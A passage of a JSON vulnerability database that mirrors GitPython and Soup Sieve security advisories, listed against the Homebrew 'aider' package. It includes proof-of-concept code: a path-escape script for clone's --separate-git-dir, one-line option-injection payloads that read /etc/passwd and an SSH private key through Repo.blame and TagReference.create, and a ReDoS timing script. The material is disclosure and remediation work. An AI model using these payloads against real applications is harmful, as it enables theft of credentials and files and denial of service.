main()\n\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78676"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78677","published":"2026-09-04T08:43:32Z","modified":"2026-09-09T23:40:56Z","upstream":["PYSEC-2026-3787","CVE-2026-78677","GHSA-8mcc-hrx5-hvxc"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination","details":"- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` — *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=`, which redirects the repository's entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: `) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers' own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list — gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` — no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=` and GitPython executes `git clone -v --separate-git-dir= -- ` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path — which can be **any path outside the intended clone destination** that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there — an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython's own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` — `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` — `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` — docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` — `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` — which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No — `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`'s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No — confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path — `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) — i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one — currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\":/gitdb:/smmap\" python3 gitpython-001-poc.py \n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) > 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78677"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2210"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78678","published":"2026-09-04T08:43:32Z","modified":"2026-09-09T23:40:56Z","upstream":["PYSEC-2026-3788","CVE-2026-78678","GHSA-5xxx-qhh7-9287"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame()","details":"## Summary\n`Repo.blame()` / `Repo.blame_incremental()` guard forwarded revision options against `unsafe_git_revision_options`, but that denylist only contains the file-WRITE options `--output`/`-o`. `git blame` also honors `--contents ` and `-S `, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of `--contents=` passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame `--output` WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory).\n\n## Root Cause\n`unsafe_git_revision_options = [\"--output\",\"-o\"]` (`git/repo/base.py:188`). The `rev` string is passed to `_option_candidates([rev], kwargs)` and placed BEFORE the `--` separator (base.py:841). The canonical name of `--contents=...` is `contents`, which is not on the denylist, so no `UnsafeOptionError` is raised. The trailing `--` protects only the pathspec, not the option before the revision.\n\n## Impact\nArbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default `allow_unsafe_options=False`.\n\n## Proof of Concept\n```python\nresult = repo.blame(\"--contents=/etc/passwd\", \"a.txt\")\n# result rows carry the victim file's line text\n```\n\n## Attack Chain\n1. Entry: app calls `repo.blame(rev, file)` with attacker `rev=\"--contents=/etc/passwd\"` (or kwarg `contents=\"/etc/passwd\"`, or `-S`).\n2. Check: `Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)` @ base.py:841. Guard: denylist = `[\"--output\",\"-o\"]` only. Bypass proof: canonical name `contents` ∉ denylist → no error.\n3. Sink: `self.git.blame(rev, \"--\", file, p=True, ...)`. argv (observed): `['git','blame','-p','--contents=','HEAD','--','a.txt']`.\n4. Impact: blame result rows carry the victim file's line text.\n\n## Bypass Evidence\nIndependently reproduced (independent test harness, default `allow_unsafe_options=False`): `blame('--contents=','a.txt')` → guard PASSED; result rows = `['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']`. Control: `blame('--output=…')` still BLOCKED (guard active on this path). `-S` kwarg argv also reaches git unguarded.\n\n## Affected Versions\n`GitPython <= 3.1.58` (denylist present verbatim on the latest release tag).\n\n## Suggested Fix\nPrefer an allowlist of blame options; at minimum add `--contents`/`-S` (and any other path-taking blame options) to `unsafe_git_revision_options`, and make the membership rule \"the option takes a filesystem path\" rather than \"the option writes output\".\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78678"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3788.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78679","published":"2026-09-09T23:40:56Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-3wxw-xv34-2frg","CVE-2026-78679","PYSEC-2026-3837"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)","details":"## Summary\n`TagReference.create()` forwards a caller-influenced positional `reference` value into `git tag` without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit `3af0c251` (the fix for GHSA-3f7w-8rr8-f37f's tag instance).\n\n## Root Cause\nThe fix `3af0c251` added `unsafe_git_tag_options = [\"--file\",\"-F\"]` and a guard call, but the guard is `Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)` at `git/refs/tag.py:139` — it passes an EMPTY args list and inspects **kwargs only**. The dangerous values `path` and `reference` are POSITIONALS (`args = (path, reference)`, tag.py:156), placed before any `--`. A user-influenced `reference=\"--file=\"` therefore reaches `git tag` as the exact `--file` option the fix intended to block, creating an annotated tag whose message is the file's contents.\n\n## Impact\nArbitrary local file read at the privileges of the host process; contents returned in-band via `tagref.tag.message`. Requires the embedding application to forward a caller-influenced `reference` value into `TagReference.create()` (pure VALUE control — the CVE-2026-42215 threat model). Default `allow_unsafe_options=False`.\n\n## Proof of Concept\n```python\nfrom git import TagReference\nt = TagReference.create(repo, \"vpwn\", reference=\"--file=/home/app/.ssh/id_rsa\")\nprint(t.tag.message) # contents of the file\n```\n\n## Attack Chain\n1. Entry: app calls `TagReference.create(repo, name, reference=)` with `reference=\"--file=/home/app/.ssh/id_rsa\"`.\n2. Check: `Git.check_unsafe_options(_option_candidates([], kwargs), [\"--file\",\"-F\"])` @ tag.py:137-141. Guard: denylist includes `--file`/`-F`. Bypass proof: `_option_candidates` receives `args=[]` → the positional `reference` is never a candidate (the kwarg spelling `file=\"…\"` IS blocked; only the positional escapes).\n3. Sink: `repo.git.tag(*args, **kwargs)` @ tag.py:158 → no `--`. argv (observed): `['git','tag','-f','vpwn','--file=']`.\n4. Impact: annotated tag created; `tagref.tag.message` == file contents (arbitrary file read).\n\n## Bypass Evidence\nIndependently reproduced (independent test harness, git 2.43.0, default `allow_unsafe_options=False`): `TagReference.create(repo,'vp','--file=')` → PASSED; `tag.message == 'GATE_SECRET_LINE_A\\nGATE_SECRET_LINE_B'`. Control: `TagReference.create(..., file='')` → `UnsafeOptionError: --file is not allowed`. Fix-commit read: `3af0c251` adds `_option_candidates([], kwargs)` (empty args → positional never a candidate).\n\n## Affected Versions\n`GitPython <= 3.1.58` (sink present verbatim on the latest release tag; `git diff 3.1.57..HEAD` touches only test files).\n\n## Suggested Fix\nInclude the positional `reference` (and `path`) in the option-candidate list passed to `check_unsafe_options`, or place a `--` separator before the positional arguments in `TagReference.create()`.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78679"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2208"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-85999","published":"2026-09-20T11:37:23Z","modified":"2026-09-20T11:37:23Z","upstream":["GHSA-j934-xhv5-fg8f","CVE-2026-85999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","details":"## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe)\nRE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern) # <-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel); st = \"ok\"\n except Exception as e:\n st = type(e).__name__\n return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = ct(\"a\" + \" \" * n + \"b\")\n print(f\" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\">\"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):\n n=2000 len=2002 112.3 ms [ok]\n n=4000 len=4002 411.5 ms [ok]\n n=8000 len=8002 1602.9 ms [ok]\n n=16000 len=16002 6464.1 ms [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run):\n n=1000 len=5002 48.9 ms [SelectorSyntaxError]\n n=2000 len=10002 194.8 ms [SelectorSyntaxError]\n n=4000 len=20002 780.2 ms [SelectorSyntaxError]\n n=8000 len=40002 3145.3 ms [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b') (len=20002)\n[+] wall time = 10.23 s [ok]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n n=2000 len=2002 102.7 ms [ok]\n n=4000 len=4002 404.3 ms [ok]\n n=8000 len=8002 1618.2 ms [ok]\n n=16000 len=16002 6457.9 ms [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before 